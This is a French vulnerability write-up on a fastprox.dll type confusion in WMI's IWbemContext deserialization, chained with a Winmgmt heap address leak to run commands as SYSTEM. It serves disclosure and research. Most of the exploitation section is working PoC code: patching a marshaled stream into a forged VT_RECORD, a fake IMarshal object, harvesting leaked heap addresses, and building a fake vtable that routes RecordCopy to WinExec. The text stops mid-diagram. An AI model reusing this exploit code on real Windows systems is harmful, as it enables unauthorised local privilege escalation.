CVE-2026-69451 : Type confusion et élévation de privilèges dans fastprox.dll
Lors de travaux de R&D en sécurité offensive menés chez SNS Security pour enrichir notre outillage de test d’intrusion en environnement interne, j’ai eu l’occasion d’explorer COM, puis plusieurs composants Windows chargés de transporter les objets COM d’un processus à l’autre.
En suivant cette piste jusqu’au traitement des requêtes WMI, j’ai découvert dans la désérialisation d’IWbemContext une confusion de type exploitable localement. Combinée à une fuite d’adresse dans le service WMI, elle permet à un utilisateur standard d’exécuter une commande sous NT AUTHORITY\SYSTEM.
TL;DR

WMI permet aux applications de joindre un petit dictionnaire d’options, appelé IWbemContext, à leurs requêtes. Lorsqu’il traverse une frontière COM, fastprox.dll le désérialise. Il accepte alors un tableau de VARIANT absent du format prévu, et copie ses éléments sans valider récursivement leur type. Un attaquant peut ainsi y cacher un faux VT_RECORD, dont Windows interprète ensuite des pointeurs contrôlés comme un objet IRecordInfo.
L’exploit combine cette confusion de type avec une fuite d’adresse de la heap de Winmgmt, réoccupe les blocs libérés avec un faux objet, puis envoie le spray et le payload marshallé piégé dans un unique contexte. Des cibles compatibles avec CFG conduisent finalement à l’exécution d’une commande dans Winmgmt, donc sous NT AUTHORITY\SYSTEM.
Petit rappel sur WMI
Windows Managment Instrumentation (WMI) est un composant Windows qui expose une vue uniforme des éléments administrables d’une machine (système d’exploitation, processus, services, disques, réseau, registre etc…). Une application n’a donc pas besoin de connaître une API différente pour chaque sous-système : elle interroge des classes WMI, appelle leurs méthodes ou s’abonne à leurs événements.
Microsoft décrit WMI comme l’intermédiaire entre trois acteurs : les consommateurs, l’infrastructure WMI et les providers (architecture de WMI). En suivant ce système :
- Un consommateur est un script ou une application de monitoring / d’administration
- Le service Winmgmt reçoit la requête, consulte le référentiel des providers, et route cette dernière en conséquence
- Le provider traite la requête en performant les actions demandées ou en retournant certaines données
En pratique, cette mécanique apparaît derrière des opérations relativement courantes. Par exemple, systeminfo ne va pas directement discuter chaque composant de Windows. Pour une partie des données retournées, la commande interroge des classes WMI comme Win32_OperatingSystem ou Win32_ComputerSystem. Winmgmt reçoit ces demandes, les transmet aux providers capables d’y répondre, puis renvoie les résultats à la commande.

Le référentiel est organisé en espace de noms, comparables à des “dossiers” regroupant les classes. root\cimv2, utilisé dans cette recherche, contient par exemple beaucoup de classes Windows historiques. Microsoft indique que Winmgmt est hébergé dans un processus svchost sous le compte LocalSystem (documentation de winmgmt). Les providers sont généralement isolés dans un ou plusieurs processus WmiPrvSE.exe, dont le compte dépend de leur modèle d’hébergement ; ils ne tournent donc pas tous en SYSTEM (hébergement et sécurité des providers).
COM et la communication inter-processus
Les API natives de WMI s’appuient sur le Component Object Model (COM). C’est un ensemble de conventions qui permettent à des composants logiciels de travailler ensemble, y compris dans des processus distincts.
Un composant expose des interfaces : des ensembles de fonctions (appelées méthodes) que les autres programmes peuvent utiliser et appeler. Plusieurs ressources en parlent de manière extensive, dont la documentation Microsoft présente le modèle en détail, et James Forshaw en propose une introduction particulièrement efficace dans COM in 60 Seconds!.
Les fonctionnalités natives de WMI suivent ce modèle. L’interface IWbemServices, par exemple, regroupe les opérations permettant d’interroger WMI : le programme appelle une méthode sur cette interface et COM se charge de joindre l’objet qui l’implémente.
Cependant, une difficulté apparaît nécessairement quand cet objet vit dans un autre processus et que le requérant à besoin d’interagir avec des structures distantes (et inversement). Par exemple, un pointeur est une adresse dans la mémoire d’un processus, si le requérant ou le processus distant ont besoin d’interagir avec une structure de l’un ou l’autre, on ne peut pas seulement transmettre la valeur numérique : cette dernière est propre à chaque processus et essayer d’y accéder depuis un processus externe causerait inévitablement une erreur.
Ça sera sur place ou à emporter ?
COM résout donc ce problème via le marshalling : cette opération est ni plus ni moins qu’une sérialisation mais qui va en plus préparer une représentation transportable des paramètres et des références d’objets. À l’arrivée, l’unmarshalling (l’opération inverse donc) reconstruit ce dont le destinataire a besoin.
Dans le cas standard entre processus, un proxy représente l’objet côté client et un stub reçoit les appels côté serveur. Respectivement ils “emballent” et “déballent” les paramètres , et les transmettent via RPC (Remote Procedure Call. Ici “Remote” peut désigner soit un appel réellement distant (de machine à machine) soit un appel distant entre processus (intra-machine)). La documentation officielle de Microsoft donne plus de détail sur l’opération si nécessaire.
Vous reprendrez bien un peu de contexte ?
Dans WMI, l’interface IWbemContext sert à joindre des informations supplémentaires à une opération. Malgré son nom évocateur, il ne s’agit ni d’un contexte processeur ni d’un jeton de sécurité : c’est un conteneur de paires nom / valeur, assimilable à un petit dictionnaire d’options. Chaque valeur est placée dans un VARIANT, une structure capable d’accueillir plusieurs types de données que nous détaillerons dans la section suivante.
Les principales méthodes d’IWbemServices acceptent ainsi un paramètre optionnel pCtx. Il permet au client de transmettre au provider une information qui n’apparaît pas dans les paramètres ordinaires de la méthode. Microsoft cite notamment un nom de communauté SNMP ou des informations de base SQL et recommande d’utiliser ce mécanisme avec parcimonie (interface IWbemContext). WMI reconnaît également certaines options : __ProviderArchitecture peut demander la version 32 ou 64 bits d’un provider, tandis que __RequiredArchitecture rend ce choix obligatoire (choix de l’architecture d’un provider).
Dans beaucoup d’appels ordinaires, pCtx vaut simplement NULL : aucune option supplémentaire n’est nécessaire. Un contexte normal peut ressembler à ceci en pseudo-code ; CreateWbemContext et VariantI4 sont ici supposés être des helpers :
IWbemContext *ctx = CreateWbemContext();
ctx->SetValue(L"__ProviderArchitecture", 0, VariantI4(64));
services->ExecQuery(..., ctx, ...);
ExecNotificationQueryAsync, utilisée par le PoC, accepte elle aussi ce contexte. Cette méthode crée un abonnement asynchrone : l’application fournit un objet récepteur, appelé sink, puis continue son travail pendant que WMI lui transmet les événements (IWbemServices::ExecNotificationQueryAsync, Register-WmiEvent).
Et fastprox.dll dans tout ça ?
Un appel WMI peut transporter des objets bien plus riches qu’une poignée d’entiers ou de chaînes : classes et instances CIM, résultats de requêtes, références COM ou paramètres de contexte. Comme les classes WMI peuvent être ajoutées dynamiquement, leur forme ne peut pas être résumée à une structure binaire fixe connue une fois pour toutes.
WMI utilise donc ses propres représentations compactes pour faire circuler ces informations à travers DCOM (vue d’ensemble de MS-WMI, encodage MS-WMIO). Dans Windows, fastprox.dll est l’une des bibliothèques qui réalisent cette couche de traduction : elle contient des implémentations d’objets WMI et du code capable de convertir leur représentation en mémoire en flux d’octets, puis de reconstruire ces objets à l’autre bout. On peut la voir comme l’interprète placé entre les objets WMI et le transport COM.
Le trajet peut donc se résumer ainsi : l’application appelle une méthode WMI avec un contexte, COM demande à l’objet de se sérialiser, DCOM/RPC transporte le flux, puis COM confie ce flux à fastprox dans Winmgmt avant d’invoquer la méthode demandée. Ce chemin est automatique dès qu’une opération WMI transporte effectivement un IWbemContext non nul vers un autre processus.

Dans un usage normal, ce mécanisme s’active automatiquement lorsqu’une opération WMI transporte un contexte non nul vers un autre processus. Dans le cadre de cette vulnérabilité, l’étape côté client est détournée : un faux objet IMarshal fournit le flux préparé par l’attaquant et annonce le CLSID officiel d’IWbemContext. Côté Winmgmt, le traitement reste parfaitement ordinaire : COM sélectionne fastprox!CWbemContext, puis lui demande de reconstruire le contexte.
Le format normal sur le fil
MS-WMI décrit le contexte comme un nombre de propriétés suivi d’une liste continue. Chaque propriété contient un nom, des flags, un type sur 16 bits et une valeur (IWbemContextBuffer, IWbemContextProperty). Un tableau ajoute un nombre d’éléments, leur taille et leurs données (IWbemContextArray).
La spécification limite les types de propriété à une courte liste : entiers, flottants, booléens, chaînes, valeur nulle (VT_NULL), VT_UNKNOWN et tableau prévus par le protocole. VT_VARIANT et VT_RECORD n’en font pas partie. La documentation de l’API donne une recommandation encore plus courte aux auteurs de providers : VT_I4, VT_R8, VT_BOOL, VT_BSTR, VT_UNKNOWN, éventuellement combinés à VT_ARRAY.
Cette liste est essentielle : le format prévoit des valeurs simples et quelques objets WMI correctement marshallés, pas un graphe arbitraire de structures Automation contenant des pointeurs de processus.
Les OLE Automations
Les noms VARIANT, SAFEARRAY et VT_RECORD que nous venons de croiser ne sont pas propres à WMI. Ils appartiennent à Automation, anciennement OLE Automation, un ensemble de conventions fondé sur COM pour exposer des objets et échanger leurs valeurs avec des scripts ou d’autres applications (présentation d’Automation). Le nom est historique : nous n’avons pas besoin de remonter toute l’histoire d’OLE pour comprendre la vulnérabilité.
Automation définit notamment un vocabulaire commun pour transporter une valeur dont le type peut varier : un entier, une chaîne, un tableau ou encore une référence vers un objet. WMI réutilise ces types pour les valeurs d’IWbemContext, tandis que oleaut32.dll fournit les fonctions chargées de les copier, de les convertir et de les libérer. C’est pourquoi une erreur commise par fastprox pendant la reconstruction du contexte peut se manifester un peu plus tard dans oleaut32, lorsque cette bibliothèque manipule la valeur en lui faisant confiance.
Pour suivre ce parcours, trois notions suffisent : une valeur accompagnée de son type, un tableau qui décrit ses éléments et un objet chargé de décrire une structure personnalisée.
VARIANT, une boîte avec une étiquette
En C, un VARIANT est une tagged union, c’est une “boîte” accompagnée d’une étiquette vt qui annonce ce qu’elle contient. Pour VT_I4, elle contient un entier, pour VT_BSTR, elle contient un pointeur vers une chaîne. Lorsque le drapeau VT_ARRAY est combiné au type des éléments, elle contient un pointeur vers un SAFEARRAY. La liste officielle des étiquettes se trouve dans VARENUM.
L’étiquette doit correspondre au contenu. Avec VT_I8, la zone de données représente un entier de 64 bits ; avec un type contenant une référence, elle contient un pointeur. Changer l’étiquette change donc la façon de lire les données, sans rendre leur contenu valide pour autant.
VARIANT
+----------------------+--------------------------------------+
| vt = type annoncé | interprétée selon ce type |
+----------------------+--------------------------------------+
| VT_I8 | 0x4141414141414141 = un entier |
| VT_RECORD | pvRecord + pRecInfo = deux pointeurs |
+----------------------+--------------------------------------+
SAFEARRAY, un tableau qui connaît son type
Un SAFEARRAY est un tableau accompagné de renseignements qui permettent de le manipuler : dimensions, bornes, taille des éléments et indicateurs sur leur nature (structure SAFEARRAY). Le mot safe ne garantit pas que des données reçues de l’extérieur ont été vérifiées. Un VARIANT marqué VT_ARRAY | VT_UI1 désigne ainsi un tableau d’octets. Un VT_ARRAY | VT_VARIANT désigne un tableau dont chaque élément est lui-même un VARIANT.
Cette imbrication est légitime dans Automation, mais impose une validation récursive. Vérifier seulement le type du conteneur ne dit rien sur les types annoncés par ses éléments, il indique seulement que la structure de données encapsule ses propres métadonnées de bornes et de type.
VT_RECORD et IRecordInfo
VT_RECORD représente un type défini par l’utilisateur. Sa charge utile comporte pvRecord, qui pointe vers les données, et pRecInfo, qui pointe vers une interface IRecordInfo (structure VARIANT). Comme la forme d’un record dépend de sa définition, oleaut32 ne peut pas savoir seule comment le copier ou libérer les ressources qu’il contient. IRecordInfo lui fournit précisément ces opérations, avec des méthodes telles que RecordCopy et RecordClear (interface IRecordInfo, IRecordInfo::RecordCopy, IRecordInfo::RecordClear).
Une vtable est une table d’adresses de fonctions : elle indique où se trouvent les méthodes à appeler à travers une interface COM. Dans un objet légitime, pRecInfo pointe vers une interface valide, dont le premier champ conduit à cette table. Appeler pRecInfo->RecordCopy(...) revient donc à lire l’adresse de RecordCopy dans la vtable, puis à appeler cette adresse. C’est ce que l’on appelle un appel indirect.
Pourquoi une simple copie peut-elle appeler une méthode ?
Le nom VariantCopy peut faire penser à une simple copie d’octets. Ce serait suffisant pour un entier, mais pas pour une valeur qui possède des ressources. Une chaîne doit disposer de sa propre allocation, une interface COM doit voir son compteur de références ajusté et un record doit être copié selon sa définition. VariantCopy commence donc par lire vt, puis applique l’opération adaptée. De la même manière, VariantClear lit vt pour savoir quelles ressources libérer.
Ce comportement devient récursif avec un SAFEARRAY de VARIANT. Pour copier le tableau, Automation copie chacun de ses éléments avec VariantCopy. Pour le détruire, elle nettoie chacun d’eux avec VariantClear. Microsoft documente à la fois la copie complète des tableaux par VariantCopy et l’appel de VariantClear sur chaque membre d’un tableau de VARIANT (VariantClear).
Si l’un de ces éléments annonce VT_RECORD, Automation considère alors pRecInfo comme une véritable interface COM. Dans le chemin de copie observé avec le PoC, elle finit par appeler IRecordInfo::RecordCopy. Lors du nettoyage, elle utilise notamment IRecordInfo::RecordClear, puis libère la référence vers IRecordInfo. Ces appels passent par la vtable vers laquelle conduit pRecInfo.
Copie du contexte
└─ VariantCopy(VT_ARRAY | VT_VARIANT)
└─ SafeArrayCopy
└─ VariantCopy(élément VT_RECORD)
└─ pRecInfo->RecordCopy(...)
Destruction du contexte
└─ VariantClear(VT_ARRAY | VT_VARIANT)
└─ SafeArrayDestroy
└─ VariantClear(élément VT_RECORD)
├─ pRecInfo->RecordClear(...)
└─ pRecInfo->Release()
Avec un record légitime, ce mécanisme appelle l’implémentation légitime d’IRecordInfo. Il devient dangereux seulement si une donnée non fiable peut imposer à la fois l’étiquette VT_RECORD et la valeur de pRecInfo. C’est précisément la situation que la désérialisation de fastprox va rendre possible.
Le chemin normal : lire l’étiquette puis reconstruire la valeur
Les extraits suivants sont du pseudo-code simplifié à partir de fastprox.dll. Ils s’appuient sur le constructeur CContextObj et sur UnmarshalSafeArray. Ils conservent les décisions utiles à la vulnérabilité et omettent la gestion d’erreur, les compteurs de taille et la télémétrie. IStream représente ici le flux d’octets reçu par le désérialiseur.
Pour chaque propriété, le constructeur CWbemContext::CContextObj(IStream *, ...) lit d’abord le type :
vt = stream.ReadU16();
if (vt == VT_NULL)
value = empty();
else if (vt == VT_BSTR)
value = UnmarshalBSTR(stream);
else if (vt == VT_UNKNOWN)
value = CoUnmarshalInterface(stream, IID_IWbemClassObject);
else if ((vt & ~VT_ARRAY) == VT_DISPATCH)
reject();
else if (vt & VT_ARRAY)
value = UnmarshalSafeArray(stream, vt & ~VT_ARRAY);
else
value.raw = stream.Read(8);
Cette organisation a une logique :
- une valeur scalaire simple peut être copiée telle quelle ;
VT_NULL, qui ne transporte aucune donnée, ne nécessite même pas cette copie ; - une chaîne doit être recréée dans le processus destinataire ;
- une interface COM doit passer par
CoUnmarshalInterface; - un tableau est délégué à une routine qui connaît sa taille et son type d’élément.
UnmarshalSafeArray suit ensuite deux chemins spéciaux et un chemin générique :
count = stream.ReadU32();
elementSize = stream.ReadU32();
array = SafeArrayCreate(elementType, 1, count);
data = SafeArrayAccessData(array);
if (elementType == VT_BSTR)
for each element: UnmarshalBSTR(stream);
else if (elementType == VT_UNKNOWN)
for each element: CoUnmarshalInterface(stream, IID_IWbemClassObject);
else {
require(SafeArrayGetElemsize(array) == elementSize);
require(count * elementSize <= remainingBytes);
stream.Read(data, count * elementSize);
}
Pour un tableau d’octets ou d’entiers, la lecture brute du dernier bloc est raisonnable : les éléments ne contiennent aucun pointeur à traduire. Pour des chaînes ou des interfaces, fastprox reconstruit au contraire chaque élément avec la primitive adaptée.
Après réception, le contexte peut être cloné avant d’être transmis à un provider. Sa copie utilise VariantCopy, qui copie notamment l’intégralité d’un tableau. Lorsqu’il n’est plus utile, chaque valeur est nettoyée avec VariantClear. Microsoft documente que cette dernière fonction libère un tableau et, pour un tableau de VARIANT, appelle VariantClear sur chacun de ses membres (VariantClear).
Pour les types prévus par le protocole, ce cycle est cohérent : désérialiser, utiliser, copier si nécessaire, puis libérer.
Le chemin vulnérable : une boîte dans la boîte

Le défaut tient dans l’écart entre deux niveaux de validation. fastprox lit correctement l’étiquette de la boîte extérieure, mais ne regarde pas celles des boîtes rangées à l’intérieur.
Le parseur externe accepte le type VT_ARRAY | VT_VARIANT (0x200C) et transmet son type de base, VT_VARIANT (12), à UnmarshalSafeArray. Cette routine ne possède aucun cas spécial pour VT_VARIANT. Elle tombe donc dans le chemin générique et copie directement les octets du flux dans la mémoire du SAFEARRAY.
Or, sur x64, chacun de ces blocs de 24 octets est ensuite traité comme un véritable VARIANT. Son champ vt et ses pointeurs proviennent intégralement de l’appelant.
L’implémentation contient déjà plusieurs garde-fous contre les records : SetValue rejette un VT_RECORD scalaire, et les chemins de copie ou de destruction neutralisent une valeur externe dont le type vaut exactement VT_RECORD (36, ou 0x24). Mais ce contrôle s’arrête à l’emballage :
if (outerVariant.vt == VT_RECORD)
reject_or_neutralize();
Pour notre valeur, outerVariant.vt vaut VT_ARRAY | VT_VARIANT, pas VT_RECORD. Le record se trouve un niveau plus bas et n’est jamais inspecté par fastprox.
Dans les crashs utilisés pour diagnostiquer le défaut, le point de faute apparaît dans oleaut32.dll, la bibliothèque qui met en œuvre ces opérations Automation. oleaut32 ne crée cependant pas l’état incohérent : elle applique les règles normales à un objet que fastprox a reconstruit depuis un flux non fiable. La cause racine appartient donc au marshaller de IWbemContext.
Fabriquer le contexte que l’API refuse
Appeler simplement IWbemContext::SetValue avec un VT_RECORD ne suffit pas : l’API rejette ce type lorsqu’il est présenté directement comme valeur de la propriété. Le PoC ne tente donc pas de lui faire accepter le record forgé. Il lui soumet d’abord une valeur bénigne afin d’obtenir un flux correctement structuré, puis modifie sa propre copie de ce flux.
Les extraits suivants sont tirés du PoC, disponible en fin d’article sur mon Github. Ils sont abrégés autour des lignes utiles et les commentaires ont été ajoutés pour expliciter le rôle de chaque valeur.
La fonction MakeCraftedVariantArray crée pour cela un SAFEARRAY contenant un seul VARIANT. À ce stade, l’élément interne annonce VT_I8 (20, ou 0x14) et contient la constante facilement reconnaissable PLACEHOLDER : il s’agit encore d’un entier de 64 bits ordinaire.
static const uint64_t PLACEHOLDER = 0xCAFEBABEF00D1234ULL; // Valeur unique utilisée comme point de repère.
static SAFEARRAY* MakeCraftedVariantArray()
{
SAFEARRAYBOUND bound; bound.cElements = 1; bound.lLbound = 0; // Un seul élément, à l'indice 0.
SAFEARRAY* psa = SafeArrayCreate(VT_VARIANT, 1, &bound); // Les éléments du tableau sont des VARIANT.
if (!psa) throw std::runtime_error("SafeArrayCreate(VT_VARIANT) failed");
void* data = nullptr; SafeArrayAccessData(psa, &data); // Accès direct au buffer de l'élément.
uint8_t* d = (uint8_t*)data;
memset(d, 0, 24); // Taille d'un VARIANT sur Windows x64.
*(int16_t*)(d + 0) = 20; // Type interne initial : VT_I8, un entier banal.
wr64(d + 8, PLACEHOLDER); // Marqueur retrouvé et remplacé après marshalling.
SafeArrayUnaccessData(psa);
return psa;
}
Le tableau est ensuite ajouté au véritable IWbemContext sous le nom zz_record. Il faut bien distinguer les deux étiquettes : la propriété externe vaut VT_ARRAY | VT_VARIANT, tandis que son unique élément vaut encore VT_I8.
SAFEARRAY* crafted = MakeCraftedVariantArray();
SetVariant(ctx, L"zz_record", VT_ARRAY | VT_VARIANT, crafted); // Type externe présenté à IWbemContext::SetValue.
SafeArrayDestroy(crafted);
Le PoC demande alors à COM de marshaller ce véritable contexte avec CoMarshalInterface. Il récupère le flux produit, en retire l’en-tête COM de 48 octets que COM recréera lors de l’envoi du faux objet, puis applique la modification à la partie spécifique à IWbemContext.
hr = CoMarshalInterface(stm, MY_IID_IWbemContext, ctx,
MSHCTX_LOCAL, nullptr, MSHLFLAGS_NORMAL); // Produit d'abord un flux à partir du vrai contexte.
const int hdr = 48; // Taille de l'en-tête COM retiré par cette révision.
blob.assign(full.begin() + hdr, full.end()); // Conserve la charge utile propre à IWbemContext.
if (craft) PatchCraftedRecord(blob, g); // Modifie seulement la copie déjà marshallée.
PatchCraftedRecord recherche ensuite le placeholder. Sur x64, le champ vt se trouve huit octets avant la zone où l’entier a été écrit : le PoC le remplace par 0x24, soit VT_RECORD. La zone qui contenait le VT_I8 devient alors pvRecord, et les huit octets suivants deviennent pRecInfo.
static void PatchCraftedRecord(std::vector<uint8_t>& blob, uint64_t g)
{
int off = -1;
for (size_t i = 0; i + 8 <= blob.size(); i++)
if (rd64(&blob[i]) == PLACEHOLDER) { off = (int)i; break; } // Retrouve l'ancien entier dans le flux.
if (off < 8) throw std::runtime_error("placeholder not found in marshaled stream");
blob[off - 8] = 0x24; blob[off - 7] = 0x00; // Remplace VT_I8 par VT_RECORD.
wr64(&blob[off], g + OBJ_CMD); // pvRecord = G+0xB0, l'adresse de la commande.
wr64(&blob[off + 8], g + OBJ_VP); // pRecInfo = G+0x10, l'adresse du faux objet.
}
On observe alors la transformation suivante :
Avant Patch (Stream légitime généré par CoMarshalInterface) :
+--------+--------+---------------------------------------------------+
| Offset | Taille | Contenu |
+--------+--------+---------------------------------------------------+
| -0x08 | 2 o | vt = 0x0014 (VT_I8) |
| -0x06 | 6 o | wReserved1..3 (alignement) |
| 0x00 | 8 o | 0xCAFEBABEF00D1234 (PLACEHOLDER) |
| 0x08 | 8 o | 0x0000000000000000 (padding) |
+--------+--------+---------------------------------------------------+
Après Patch (PatchCraftedRecord) :
+--------+--------+---------------------------------------------------+
| Offset | Taille | Contenu interprété par oleaut32 |
+--------+--------+---------------------------------------------------+
| -0x08 | 2 o | vt = 0x0024 (VT_RECORD) |
| -0x06 | 6 o | wReserved1..3 |
| 0x00 | 8 o | pvRecord = G + 0xB0 (Pointeur vers chaîne cmd) |
| 0x08 | 8 o | pRecInfo = G + 0x10 (Pointeur vers faux IRecord) |
+--------+--------+---------------------------------------------------+
Les constantes du PoC donnent déjà le futur agencement en mémoire : OBJ_CMD vaut 0xB0, donc pvRecord pointera vers la commande à G + 0xB0 ; OBJ_VP vaut 0x10, donc pRecInfo pointera vers le faux objet à G + 0x10. La section suivante explique comment les octets correspondants sont placés à l’adresse G dans Winmgmt.
Il reste à remettre ce flux modifié à COM. FakeMarshaler::QueryInterface accepte les demandes pour IMarshal et IWbemContext. Ses méthodes de marshalling annoncent ensuite le CLSID officiel de CWbemContext et écrivent directement g_blob, qui contient la partie modifiée du flux.
static const GUID MY_CLSID_WbemContext =
{ 0x674B6698,0xEE92,0x11D0,{0xAD,0x71,0x00,0xC0,0x4F,0xD8,0xFD,0xFF} }; // CLSID officiel annoncé à COM.
if (IsEqualGUID(riid, MY_IID_IUnknown) || IsEqualGUID(riid, MY_IID_IMarshal) ||
IsEqualGUID(riid, MY_IID_IWbemContext)) // Le même objet revendique aussi l'identité IWbemContext.
{
*ppv = static_cast<IMarshal*>(this); // COM obtient la vtable IMarshal contrôlée par le PoC.
return S_OK;
}
HRESULT STDMETHODCALLTYPE GetUnmarshalClass(REFIID, void*, DWORD, void*, DWORD, CLSID* pCid) override
{ *pCid = MY_CLSID_WbemContext; return S_OK; } // Demande l'unmarshaller officiel d'IWbemContext.
HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(REFIID, void*, DWORD, void*, DWORD, DWORD* pSize) override
{ *pSize = (DWORD)g_blob.size(); return S_OK; } // Annonce la taille exacte de la charge utile forgée.
HRESULT STDMETHODCALLTYPE MarshalInterface(IStream* s, REFIID, void*, DWORD, void*, DWORD) override
{ ULONG written = 0; return s->Write(g_blob.data(), (ULONG)g_blob.size(), &written); } // Écrit le flux modifié.
Le service ne reçoit donc pas un paquet d’octets envoyé hors de tout protocole. Il reçoit l’argument COM d’une véritable méthode WMI ; son en-tête désigne l’unmarshaller officiel d’IWbemContext, mais sa charge utile contient l’élément modifié après coup. L’exploitation porte sur ce décalage entre un emballage légitime et un VT_RECORD que l’API n’a jamais validé.
Trouver une bonne adresse dans Winmgmt
Le VT_RECORD donne le contrôle de pRecInfo, donc de l’adresse où oleaut32 cherchera une vtable. Encore faut-il placer une fausse structure à cette adresse dans Winmgmt. Cette structure doit vivre dans la heap, la zone où le processus effectue ses allocations dynamiques. Or ASLR, la randomisation de l’espace d’adressage, fait varier les emplacements mémoire. Une adresse du tas est donc difficile à deviner.
Allouer un grand nombre de copies de la structure (spray), augmente les chances d’occuper une adresse visée. Sans information sur le tas, le résultat reste cependant probabiliste. La seconde faiblesse fournit justement cette information.
La chaîne utilise ici une seconde faiblesse dans le provider de self-instrumentation WMI, analysé dans wbemess.dll. Ce provider publie des événements internes sur l’activité du sous-système d’événements WMI (classes de diagnostic du service WMI). Microsoft documente notamment la classe MSFT_WmiFilterActivated, mais pas le fait que son nom puisse révéler une adresse.
Dans nos tests et dans l’analyse du code, le champ Name est construit sous la forme $%p par CTempFilter::ComputeThisKey. Le formatage porte sur cet objet interne, utilisé comme clé du filtre. Le champ contient donc une adresse vivante du tas de Winmgmt.
Le PoC s’abonne d’abord à MSFT_WmiEssEvent. Lorsqu’un événement arrive, drainNew lit sa propriété Name, vérifie qu’elle commence par $, puis interprète le reste de la chaîne comme une adresse hexadécimale avec wcstoull.
BSTR qOuter = SysAllocString(L"SELECT * FROM MSFT_WmiEssEvent"); // Observe les événements internes d'ESS.
hr = svc->ExecNotificationQuery(lang, qOuter, flags, nullptr, &outer); // Ouvre l'énumérateur d'événements.
VARIANT v; VariantInit(&v);
if (SUCCEEDED(obj->Get(L"Name", 0, &v, nullptr, nullptr)) &&
v.vt == VT_BSTR && v.bstrVal && v.bstrVal[0] == L'$') // Le nom attendu commence par « $ ».
{
wchar_t* end = nullptr;
unsigned long long val = wcstoull(v.bstrVal + 1, &end, 16); // Ignore « $ » et lit l'adresse en hexadécimal.
if (end && *end == L'\0' && val) addr = (uint64_t)val; // Ne conserve que les chaînes entièrement valides.
}
Il crée ensuite jusqu’à LEAK_SUBS, soit 25, abonnements temporaires à Win32_DeviceChangeEvent. Après chaque création, il attend une nouvelle adresse ESS et conserve le couple abonnement / adresse. Cette association est importante : elle permet de ne sélectionner que des blocs que le PoC sait ensuite libérer lui-même, plutôt que des adresses provenant d’anciens événements arrivés en retard.
for (int i = 0; i < LEAK_SUBS; i++) // LEAK_SUBS vaut 25 par défaut.
{
wchar_t q[160];
swprintf(q, 160, L"SELECT * FROM Win32_DeviceChangeEvent WHERE EventType >= %d", i % 7); // Crée un filtre temporaire.
BSTR qi = SysAllocString(q);
IEnumWbemClassObject* inner = nullptr;
if (SUCCEEDED(svc->ExecNotificationQuery(lang, qi, flags2, nullptr, &inner)) && inner)
{
SetProxyBlanket(inner);
uint64_t addr = drainNew(800); // Attend l'adresse ESS du filtre qui vient d'être créé.
mapped.push_back(std::make_pair(inner, addr)); // Mémorise quel abonnement possède quel bloc.
}
SysFreeString(qi);
}
for (auto& p : mapped) if (p.first) p.first->Release(); // Détruit les filtres et libère leurs blocs dans le tas.
Cette fuite ne permet pas de lire le contenu de la mémoire. Elle fournit une adresse, ce qui suffit ici à guider le placement :
- le PoC s’abonne aux événements ESS, puis crée plusieurs abonnements WMI temporaires ;
- après chaque création, il associe la nouvelle adresse annoncée à l’abonnement correspondant ;
- il écarte ainsi les événements retardés et conserve le centre de la série d’adresses actuelles la plus dense ;
- il libère les abonnements associés, donc les blocs correspondants, on suppose alors que si nous ré-allouons de nouveaux objets, il est très probable qu’une partie de ces derniers atterrissent à l’emplacement des objets libérés.
- il prépare de nombreuses allocations contenant toutes la même fausse structure ;
- l’allocateur peut alors réutiliser les emplacements qui viennent d’être libérés.
DenseRunCenter trie les adresses, repère la série la plus compacte, puis choisit son milieu comme adresse cible. Dans Run, le résultat est affecté à G par uint64_t g = DenseRunCenter(filters);. Le PoC ne vise donc pas une adresse obtenue par un décalage fixe : il choisit directement l’un des blocs qui viennent d’être observés puis libérés.
std::sort(f.begin(), f.end());
f.erase(std::unique(f.begin(), f.end()), f.end()); // Retire les annonces répétées d'un même filtre.
size_t bestS = 0, bestE = 0, s = 0;
for (size_t i = 1; i < f.size(); i++)
{
if (f[i] - f[i - 1] > 0x2a0) s = i; // Un grand écart marque le début d'une autre série.
if (i - s > bestE - bestS) { bestS = s; bestE = i; } // Conserve la série la plus longue.
}
return f[(bestS + bestE) / 2]; // Prend un bloc au centre de cette série : G.
La taille compte autant que l’adresse : pour réoccuper un bloc libéré, il faut demander une allocation du bon gabarit. Le PoC estime ce gabarit à partir de l’écart entre les adresses divulguées.
Le début d’un bloc tout juste libéré peut être réutilisé par les métadonnées de l’allocateur. Le PoC laisse donc passer les 16 premiers octets : pRecInfo vise G + 0x10, où se trouve le pointeur vers la fausse vtable placée à G + 0x30. La commande est stockée plus loin, à G + 0xB0, et pvRecord pointe vers elle. Ces décalages restent identiques ; seule la taille totale de l’allocation est adaptée.
BuildPattern fabrique exactement le bloc que le spray tentera de placer à G. Le pointeur de vtable est écrit à G + 0x10, la vtable commence à G + 0x30, son entrée RecordCopy à l’offset 0x28 reçoit le pont d’appel, et la commande est copiée à G + 0xB0. Les autres entrées de la vtable pointent vers une petite fonction qui renvoie zéro afin que les méthodes auxiliaires puissent être traversées sans détourner le flot prévu.
static const int OBJ_VP = 0x10; // Emplacement visé par pRecInfo, après les métadonnées.
static const int OBJ_VT = 0x30; // Début de la fausse vtable dans le bloc.
static const int OBJ_CMD = 0xB0; // Emplacement de la chaîne de commande.
std::vector<uint8_t> p((size_t)g_objSize, 0); // Une copie de la future allocation à réoccuper.
wr64(&p[OBJ_VP], g + OBJ_VT); // À G+0x10 : pointeur vers la vtable située à G+0x30.
for (int off = 0; off < 0x80; off += 8)
wr64(&p[OBJ_VT + off], (uint64_t)(uintptr_t)g_noop); // Cible bénigne choisie pour les méthodes non exploitées.
wr64(&p[OBJ_VT + 0x28], (uint64_t)(uintptr_t)g_bridge); // Remplace le slot IRecordInfo::RecordCopy par le pont.
if (s_bridgeKind == BRIDGE_THISPFN)
{
wr64(&p[OBJ_VP + s_loadDisp], (uint64_t)(uintptr_t)g_winExec); // Fonction chargée par le pont : WinExec.
wr64(&p[OBJ_VP + s_rcxDisp], g + OBJ_CMD); // Premier argument : adresse de la commande.
}
else
{
wr64(&p[OBJ_VP + s_bridgeDisp], (uint64_t)(uintptr_t)g_winExec); // Variante RDX : seule la cible est stockée ici.
}
size_t n = fullCmd.size();
if (n >= (size_t)(g_objSize - OBJ_CMD - 1)) throw std::runtime_error("command too long");
memcpy(&p[OBJ_CMD], fullCmd.data(), n); // Place « cmd.exe /c ... » à G+0xB0.
p[OBJ_CMD + n] = 0; // Termine la chaîne attendue par WinExec.
On obtient alors cet agencement sur un bloc de taille g_objSize alloué à l’adresse G:
Adresse Offset Champ / Donnée
─────────────────────────────────────────────────────────────────────────────
